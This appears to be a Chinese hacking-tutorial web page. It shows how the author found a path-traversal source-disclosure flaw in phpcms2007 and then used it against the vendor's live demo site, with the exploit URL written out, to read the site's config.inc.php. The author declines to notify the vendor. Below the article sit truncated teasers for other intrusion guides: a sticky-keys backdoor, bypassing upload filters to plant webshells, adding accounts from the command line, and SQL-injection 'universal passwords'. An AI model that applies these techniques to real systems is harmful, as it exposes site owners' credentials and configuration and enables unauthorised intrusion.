关于简单的php源代码泄露漏洞的发掘
所属分类:
网络安全 / 黑客教程
阅读数:
137
收藏 0赞 0分享
我们知道在asp中出现得最多的还是sql注入,不过在php中由于magic_quotes_gpc为on的情况下特殊字符会被转义,所以即使有很多时候存在sql注入也无法利用。但是php强大的文件操作功能却使我们能体会到在asp中无法体会的乐趣,我想php自带的文件操作函数能让你为之心跳加快~~嘿嘿
这次我发掘的是phpcms2007的源代码泄露漏洞
再次向Phpcms2007的开源行为致敬!!
开始吧,
findstr /s /n /i readfile *.php >readfile.txt (结果我只给出有用的)
其他的文件操作函数可以自己定义查找
module\picture\show_pic.inc.php:8:readfile($file);
跟进这个文件看看吧,呵呵,比较小,我喜欢
[Copy to clipboard] [ - ]CODE:
<?php
defined(’IN_PHPCMS’) or exit(’Access Denied’);
require PHPCMS_ROOT.’/module/’.$mod.’/include/common.inc.php’;
isset($src) or exit;
$file = PHPCMS_ROOT.’/’.$PHPCMS[’uploaddir’].’/’.$CHA[’channeldir’].’/’.$MOD[’upload_dir’].’/’.$src;
if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.’/images/error.jpg’;
header("Content-type:image/pjpeg");
readfile($file);
?>
一路分析下。。。
先包含文件/module/’.$mod.’/include/common.inc.php
如果存在变量$src则赋予它路径并把值交给变量$file
然后就是就进入if
这里我不看其他的文件简单猜测下应该是判断url路径来源,也就是防盗链的功能
然后就header()一个图片头
呵呵,轻轻松松就readfile($file);
可以看出它没有判断$src的文件类型,如果我们提交一个src=*.php也会被readfile
好吧,在这里漏洞是出现了
不过由于“defined(’IN_PHPCMS’) or exit(’Access Denied’);”,所以我们是无法直接利用这个漏洞文件的
只能是在其他包含这个文件的php文件中利用
继续吧
[Copy to clipboard] [ - ]CODE:
findstr /s /i /n show_pic.inc.php *.php >show_pic.inc.php.txt
picture\show_pic.php:4:require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
进去看看
[Copy to clipboard] [ - ]CODE:
<?php
require "./config.inc.php";
require "../include/common.inc.php";
require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
?>
呵呵,要是register_globals为on的话就可以直接利用这个文件读取目标文件了
那就测试吧
官方是演示站是
[Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn/
那就这样构造url
[Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
嘿嘿,读取的就是网站的配置文件
直接访问
[Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn//picture/show_pic.php?src=/../../../config.inc.php
呵呵,猜测没错!!
那我们可以先访问http://demo.phpcms.cn/抓包
用nc发包
get选项就设置为
[Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
这里我就用刺猬的一个post提交工具代替了
测试结果如图
ok,就分析到这里了
希望大家不要利用这个做违法的事,嘿嘿!!
偶是坏孩子,不通知官方了~·好孩子去通知下。
pstools使用方法
软件名称:Pstools
运行平台:Windows
软件授权:免费软件
软件大小:550KB
下面我用一个实例来讲解这个命令的使用。假设我要对192.168.0.8计算机进行远程管理,那么我可以先打开一个命令行窗口。在命令行中输入以下命令后敲回车:
D:t
收藏 0赞 0分享
命令行下一种新的加帐号的方法
今天研究了一下用户控制面板文件nusrmgr.cpl,发现调用的是Shell.Users来加用户,它还同时调用了wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话,这一个Shell.Users就足够了
收藏 0赞 0分享
如何使用sqlcmd.exe 连接到数据库引擎
SQL Server 支持使用 TCP/IP 网络协议(默认值)、命名管道协议和 VIA 协议的客户端通信。如果客户端要连接到同一计算机上的数据库引擎实例,则也可以使用共享内存协议。通常有三种选择协议的方法。sqlcmd 实用工具
收藏 0赞 0分享
按5次shift 键后门 利用方法
原理:连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ,你把explorer.exe换成sethc.exe 就是自动执行explorer.exe
收藏 0赞 0分享
突破一流拦截 上传限制的方法
在我们入侵网站的过程中,有时候提交我们的大马或者其他ASP文件的时候,会被一流信息监控系统所拦截
收藏 0赞 0分享
命令行下一种新的添加帐号的方法
天研究了一下用户控制面板文件nusrmgr.cpl,发现调用的是Shell.Users来加用户
收藏 0赞 0分享
PHP 万能密码
说实话如果一个网站的前台都是注入漏洞,那么凭经验,万能密码进后台的几率基本上是百分之百
收藏 0赞 0分享
批处理也疯狂
@echo off
set c=00123456789ABCDEF0
:loop
set /a num=%random%%%16
call set col=%%c:~%num%,2%%
COLOR %col%
ping -n3 127.1>
收藏 0赞 0分享
查看更多